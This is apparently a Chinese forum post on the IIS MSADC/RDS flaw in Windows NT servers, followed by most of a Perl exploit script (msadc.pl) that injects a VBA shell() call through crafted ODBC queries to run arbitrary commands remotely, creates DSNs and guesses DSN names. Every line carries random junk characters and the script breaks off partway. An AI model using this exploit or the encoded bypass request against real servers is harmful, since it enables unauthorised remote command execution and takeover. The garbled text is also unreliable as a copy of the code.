IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/fgy 07T k}18
~cWM 涉及程序:
NAg m?d Microsoft NT server
ecvQEK2L [`(W(0U% 描述:
3'2>3Y/7Bb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
As"%
u XN|[8+#U<@ 详细:
'8Wu9 phT 如果你没有时间读详细内容的话,就删除:
JP{Y Q:NF c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZW>iq M^9 有关的安全问题就没有了。
l_$le ZB+~0[C 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
pd^"MG xaI)d/ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.:r
l<. 关于利用ODBC远程漏洞的描述,请参看:
[$]qJ~kz Yc^;?n`x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6
9+Pf* Xnc?oT+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
\&BT#8ELG http://www.microsoft.com/security/bulletins/MS99-025faq.asp YUjKOPN yd|ao\'= 这里不再论述。
yi.GD~69 SR>(GQ,m0; 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Jo'~oZ$ 9KCeKT>v /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
vFwhe! 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_kEU=)Xe OjWg>v\v :6TLT-B #将下面这段保存为txt文件,然后: "perl -x 文件名"
[[s^rC<d @PzRHnT* #!perl
%1\~OnT #
#kQ1,P6,( # MSADC/RDS 'usage' (aka exploit) script
tfIUH'Ez> #
SiLWy=qbR # by rain.forest.puppy
YgV" *~ #
t9~Y
? # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
s7?d_+O # beta test and find errors!
VW\xuP T3bYj|rh= use Socket; use Getopt::Std;
I+eKuWB getopts("e:vd:h:XR", \%args);
pN=>q<]L <IBWA0A=8a print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
yRy^'E~ \ORE;pG if (!defined $args{h} && !defined $args{R}) {
^^z_[Ih print qq~
`|p8zV Usage: msadc.pl -h <host> { -d <delay> -X -v }
B,b^_4XX$ -h <host> = host you want to scan (ip or domain)
c8h71Cr -d <seconds> = delay between calls, default 1 second
BN1,R] *; -X = dump Index Server path table, if available
kF-7OX0) -v = verbose
o%E-K=a -e = external dictionary file for step 5
"M}3T?0 O tS3!cO\ Or a -R will resume a command session
w!r.MWE !ZS5}/ZU ~; exit;}
L'HO"EZFj \=c@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)0o|u > if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*4y0Hq if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?>Bt|[p:s) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]|QA`5=$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'$h0l-mQ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}6To(* ;>CM1 if (!defined $args{R}){ $ret = &has_msadc;
m`&6[[)6~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RveEA/&& mXT{c=N)w print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$C
t(M) . "cmd /c ";
ef K
WR $in=<STDIN>; chomp $in;
KBI36=UV $command="cmd /c " . $in ;
8;i'dF:) Dc9Fb^]QOG if (defined $args{R}) {&load; exit;}
=AP0{ [{PmU~RMYf print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
iw^"?:'% &try_btcustmr;
'tDVSj 5Z>+NKQ print "\nStep 2: Trying to make our own DSN...";
ZMEYF!jN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2m,t<Y; uCjbb print "\nStep 3: Trying known DSNs...";
Ssd7]G+n: &known_dsn;
>P}6/L Wb#ON|.2 print "\nStep 4: Trying known .mdbs...";
PmA_cP7~ &known_mdb;
x75 3o\u! ]]hsLOM] if (defined $args{e}){
eB_ M *+^ print "\nStep 5: Trying dictionary of DSN names...";
`svOPB4C' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
&; [0.:; w|U7pUz print "Sorry Charley...maybe next time?\n";
IAd[_<9D exit;
P\3H<?@4 V9;O1 ##############################################################################
F\ %PB p u>.>hQ sub sendraw { # ripped and modded from whisker
^.~ F_ sleep($delay); # it's a DoS on the server! At least on mine...
,-V7~gM%} my ($pstr)=@_;
Lpk`qJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@<$_X1)s die("Socket problems\n");
E9Hyd #A if(connect(S,pack "SnA4x8",2,80,$target)){
\tfhF#' select(S); $|=1;
S[y?> print $pstr; my @in=<S>;
TUi< select(STDOUT); close(S);
/mQ9}E4X return @in;
,-)ww: } else { die("Can't connect...\n"); }}
PG*FIRDb 9u1Fk'cxG, ##############################################################################
Wdp4'rB ]4[^S.T= sub make_header { # make the HTTP request
n ==+NL my $msadc=<<EOT
Fq!-
%Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
;m}o$` User-Agent: ACTIVEDATA
Lu[xoQ~I Host: $ip
W;T(q~XK Content-Length: $clen
?m h0^G Connection: Keep-Alive
L8cPNgZ
+IM6 GeH ADCClientVersion:01.06
6AKT-r. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
iI@(Bl] `cqZ;(^ --!ADM!ROX!YOUR!WORLD!
J1d|L|M Content-Type: application/x-varg
&Ui&2EW Content-Length: $reqlen
&P(vm@* 9=G
dj!L EOT
*cc|(EM ; $msadc=~s/\n/\r\n/g;
Ip*[H#h return $msadc;}
:i]g+</ Cgn@@P5ZC ##############################################################################
|dqvv 1A{iUddR sub make_req { # make the RDS request
u`wT_?%w my ($switch, $p1, $p2)=@_;
C44*qiG. my $req=""; my $t1, $t2, $query, $dsn;
z1LY|8$G 7J$Yd976 if ($switch==1){ # this is the btcustmr.mdb query
'?b.t2 $query="Select * from Customers where City=" . make_shell();
.GuZV' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
g&L $5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}\d3 Nu6]R677Y elsif ($switch==2){ # this is general make table query
UY&DXIP M $query="create table AZZ (B int, C varchar(10))";
(=w ff5U $dsn="$p1";}
0@2pw2{Ru hJ0m;j&4y elsif ($switch==3){ # this is general exploit table query
Yd$64d7,h $query="select * from AZZ where C=" . make_shell();
N0fXO $dsn="$p1";}
K9Bi2/N 5h>t4 [~ elsif ($switch==4){ # attempt to hork file info from index server
/[Sy;wn $query="select path from scope()";
UdX aC= Q $dsn="Provider=MSIDXS;";}
#mbl4a 'q*:+|" elsif ($switch==5){ # bad query
E']Gh $query="select";
$:<G= $dsn="$p1";}
\:-N<[ ` L?9-)m<f $t1= make_unicode($query);
(1}"I
RX. $t2= make_unicode($dsn);
6T=zHFf~ $req = "\x02\x00\x03\x00";
{y7,n $req.= "\x08\x00" . pack ("S1", length($t1));
ii]'XBSVd $req.= "\x00\x00" . $t1 ;
l|K`'YS!<{ $req.= "\x08\x00" . pack ("S1", length($t2));
p>
4bj>Ql $req.= "\x00\x00" . $t2 ;
{bPcr hB $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
eZ
+uW0 return $req;}
K7$Vl"l Ia>>b #h ##############################################################################
me/ae{ P7p'j sub make_shell { # this makes the shell() statement
oxL4* bqZ return "'|shell(\"$command\")|'";}
e3 {L%rQE 0Z>oiBr4 ##############################################################################
(r )fx d^jIsE ` sub make_unicode { # quick little function to convert to unicode
cRC)99HP my ($in)=@_; my $out;
Ow7I`#P for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>zWVM1\\j return $out;}
9TILrK kEs=N( ##############################################################################
*oz=k =Pgu?WU@ sub rdo_success { # checks for RDO return success (this is kludge)
@DYkWivLu my (@in) = @_; my $base=content_start(@in);
#L,5;R{` if($in[$base]=~/multipart\/mixed/){
'BwM{c-O" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
n)rF!a return 0;}
=AJ I3'x 2-M]!x) ##############################################################################
r&-Ir3[ vH^^QI:em sub make_dsn { # this makes a DSN for us
`)R@\@jt my @drives=("c","d","e","f");
nW
(wu!2 print "\nMaking DSN: ";
?W"9G0hTqM foreach $drive (@drives) {
i iZK^/P$ print "$drive: ";
Q{Lsr, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
IRQ3> 4hI "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
u3H2\< . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`?L-{VtM3* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
VClw!bm return 0 if $2 eq "404"; # not found/doesn't exist
dc0Ro, if($2 eq "200") {
[{B1~D- foreach $line (@results) {
4c=oAL return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'((Ll } return 0;}
c/57_fOK 20f):A6 ##############################################################################
R4|<Vp<U2 l7r!fAV-f sub verify_exists {
IK-E{,iKc my ($page)=@_;
`-N&cc my @results=sendraw("GET $page HTTP/1.0\n\n");
?$^qcpJCp return $results[0];}
hrRX= jsvD[ \P ##############################################################################
VNbq]L(g Lay+)S.ta[ sub try_btcustmr {
Az2$\ my @drives=("c","d","e","f");
<&'r_m my @dirs=("winnt","winnt35","winnt351","win","windows");
R`:NUGR ZR'q.y[k) foreach $dir (@dirs) {
U<
p kg print "$dir -> "; # fun status so you can see progress
{q:o}<-L+ foreach $drive (@drives) {
HH|&$C|64 print "$drive: "; # ditto
8EPV\M1% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ft[g1 $reqlenlen=length( "$reqlen" );
^eEj
5Rh $clen= 206 + $reqlenlen + $reqlen;
*<! W k\ =`X@+~%- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G
K @]61b if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
D4r5wc% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ZCMB]bL-e yX(6C]D ##############################################################################
%d9UW Q $0Y&r]' sub odbc_error {
v=|BqG` my (@in)=@_; my $base;
OI.2C F my $base = content_start(@in);
3HA$k[%7P if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Xze $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s%z'1KPS $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bkl'0
p $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)8yee~+TN return $in[$base+4].$in[$base+5].$in[$base+6];}
L&'0d$Tg8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
VmkYl$WZo print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6mBX{-Z[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
WU1o4&OF K0\a+6kh ##############################################################################
Wx/!Myu WJU`
g sub verbose {
\wNn c" my ($in)=@_;
t{>66jm\R return if !$verbose;
c+G: bb%p print STDOUT "\n$in\n";}
7`tnoTUv _A)<"z0E ##############################################################################
]T(O;y*m "=<lPi sub save {
UUY-EC7X my ($p1, $p2, $p3, $p4)=@_;
d#a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ik1,?A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
IO xj$ ?%l close OUT;}
-&kQlr lrh6lt) ##############################################################################
fu=}E5ScK );z}T0C sub load {
%MP s}B my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#Y}Hh7.< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
AEnS_Q @p=<IN>; close(IN);
Oyq<y~} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;.W0Aa $target= inet_aton($ip) || die("inet_aton problems");
{zUc*9 print "Resuming to $ip ...";
"\BP+AF $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`CK;,>i if($p[1]==1) {
<'~8mV1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_T5~B"* $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
oJ8_hk<Va8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2,&lGyV# if (rdo_success(@results)){print "Success!\n";}
cJ8F#t else { print "failed\n"; verbose(odbc_error(@results));}}
&F'v_9 elsif ($p[1]==3){
=b% J@}m`& if(run_query("$p[3]")){
XU9=@y+|v print "Success!\n";} else { print "failed\n"; }}
]QT0sGl elsif ($p[1]==4){
;*W]]4fy if(run_query($drvst . "$p[3]")){
sp**Sg) print "Success!\n"; } else { print "failed\n"; }}
g@Ni!U"_c exit;}
ITc/aX aG}9Z8D ##############################################################################
R[&lk~a{= :
1fik sub create_table {
d<7J)zUm3 my ($in)=@_;
+H&_Z38n $reqlen=length( make_req(2,$in,"") ) - 28;
iW"L!t#\| $reqlenlen=length( "$reqlen" );
F41!Dj7 $clen= 206 + $reqlenlen + $reqlen;
:GK{JP my @results=sendraw(make_header() . make_req(2,$in,""));
j5'Jp} return 1 if rdo_success(@results);
6>=>Yj my $temp= odbc_error(@results); verbose($temp);
)1fQhdO}x return 1 if $temp=~/Table 'AZZ' already exists/;
@L<[38 return 0;}
DQlaSk4hF_ b7AuKY{L ##############################################################################
HnP;1Gi oLr"8R\d>t sub known_dsn {
!W%HAlUAG[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
GmL |7 6 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
jm-0]ugY&` "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0dcXgP "banner", "banners", "ads", "ADCDemo", "ADCTest");
{my=Li<